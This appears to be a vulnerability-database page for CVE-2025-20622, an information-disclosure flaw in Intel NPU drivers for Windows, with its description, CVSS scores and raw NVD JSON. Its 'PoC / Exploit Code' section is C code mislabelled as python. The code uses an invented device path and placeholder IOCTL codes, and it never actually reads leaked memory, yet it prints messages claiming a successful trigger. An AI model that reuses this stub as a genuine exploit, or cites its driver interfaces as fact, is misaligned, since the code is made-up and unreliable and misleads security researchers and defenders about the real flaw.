Security Vulnerability Report
中文
CVE-2025-20622 CVSS 3.8 LOW

CVE-2025-20622

Published: 2025-11-11 17:15:41
Last Modified: 2026-04-15 00:35:42

Description

Sensitive information uncleared in resource before release for reuse for some Intel(R) NPU Drivers for Windows before version 32.0.100.4023 within Ring 3: User Applications may allow an information disclosure. Unprivileged software adversary with an authenticated user combined with a low complexity attack may enable data exposure. This result may potentially occur via local access when attack requirements are present without special internal knowledge and requires no user interaction. The potential vulnerability may impact the confidentiality (low), integrity (none) and availability (none) of the vulnerable system, resulting in subsequent system confidentiality (none), integrity (none) and availability (none) impacts.

CVSS Details

CVSS Score
3.8
Severity
LOW
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:L/I:N/A:N

Configurations (Affected Products)

No configuration data available.

Intel NPU Driver for Windows < 32.0.100.4023

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
// CVE-2025-20622 PoC - Intel NPU Driver Information Disclosure // This PoC demonstrates the resource uncleared vulnerability in Intel NPU Drivers // Note: This is a conceptual PoC for educational purposes #include <windows.h> #include <stdio.h> #include <intrin.h> // Intel NPU Driver IOCTL codes (example) #define IOCTL_NPU_GET_BUFFER 0x12345678 #define IOCTL_NPU_FREE_BUFFER 0x12345679 typedef struct _NPU_BUFFER_REQUEST { DWORD BufferSize; HANDLE BufferHandle; } NPU_BUFFER_REQUEST, *PNPU_BUFFER_REQUEST; BOOL triggerNPUVulnerability() { HANDLE hNPU = CreateFile( "\\\\.\\NPU", GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL ); if (hNPU == INVALID_HANDLE_VALUE) { printf("[-] Failed to open NPU driver handle\n"); return FALSE; } printf("[+] NPU driver handle opened successfully\n"); // Step 1: Request a buffer from NPU driver (may contain sensitive data) NPU_BUFFER_REQUEST request = {0}; request.BufferSize = 4096; DWORD bytesReturned = 0; BOOL status = DeviceIoControl( hNPU, IOCTL_NPU_GET_BUFFER, &request, sizeof(request), &request, sizeof(request), &bytesReturned, NULL ); if (status) { printf("[+] Buffer allocated from NPU driver\n"); printf("[+] Buffer handle: 0x%x\n", request.BufferHandle); } // Step 2: Free the buffer without proper cleanup (triggering the vulnerability) DeviceIoControl( hNPU, IOCTL_NPU_FREE_BUFFER, &request, sizeof(request), NULL, 0, &bytesReturned, NULL ); printf("[+] Buffer freed - sensitive data may remain uncleared\n"); // Step 3: Attempt to read residual sensitive data // In real attack, this would involve reading from reallocated memory printf("[*] Attempting to access residual data...\n"); CloseHandle(hNPU); return TRUE; } int main() { printf("CVE-2025-20622 PoC - Intel NPU Driver Info Disclosure\n"); printf("Target: Intel NPU Drivers for Windows < 32.0.100.4023\n\n"); if (triggerNPUVulnerability()) { printf("[+] Vulnerability trigger sequence completed\n"); } else { printf("[-] Failed to trigger vulnerability\n"); } return 0; }

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-20622", "sourceIdentifier": "[email protected]", "published": "2025-11-11T17:15:40.720", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Sensitive information uncleared in resource before release for reuse for some Intel(R) NPU Drivers for Windows before version 32.0.100.4023 within Ring 3: User Applications may allow an information disclosure. Unprivileged software adversary with an authenticated user combined with a low complexity attack may enable data exposure. This result may potentially occur via local access when attack requirements are present without special internal knowledge and requires no user interaction. The potential vulnerability may impact the confidentiality (low), integrity (none) and availability (none) of the vulnerable system, resulting in subsequent system confidentiality (none), integrity (none) and availability (none) impacts."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:L/AC:L/AT:P/PR:L/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 2.0, "baseSeverity": "LOW", "attackVector": "LOCAL", "attackComplexity": "LOW", "attackRequirements": "PRESENT", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "LOW", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:L/I:N/A:N", "baseScore": 3.8, "baseSeverity": "LOW", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.0, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-226"}]}], "references": [{"url": "https://intel.com/content/www/us/en/security-center/advisory/intel-sa-01304.html", "source": "[email protected]"}]}}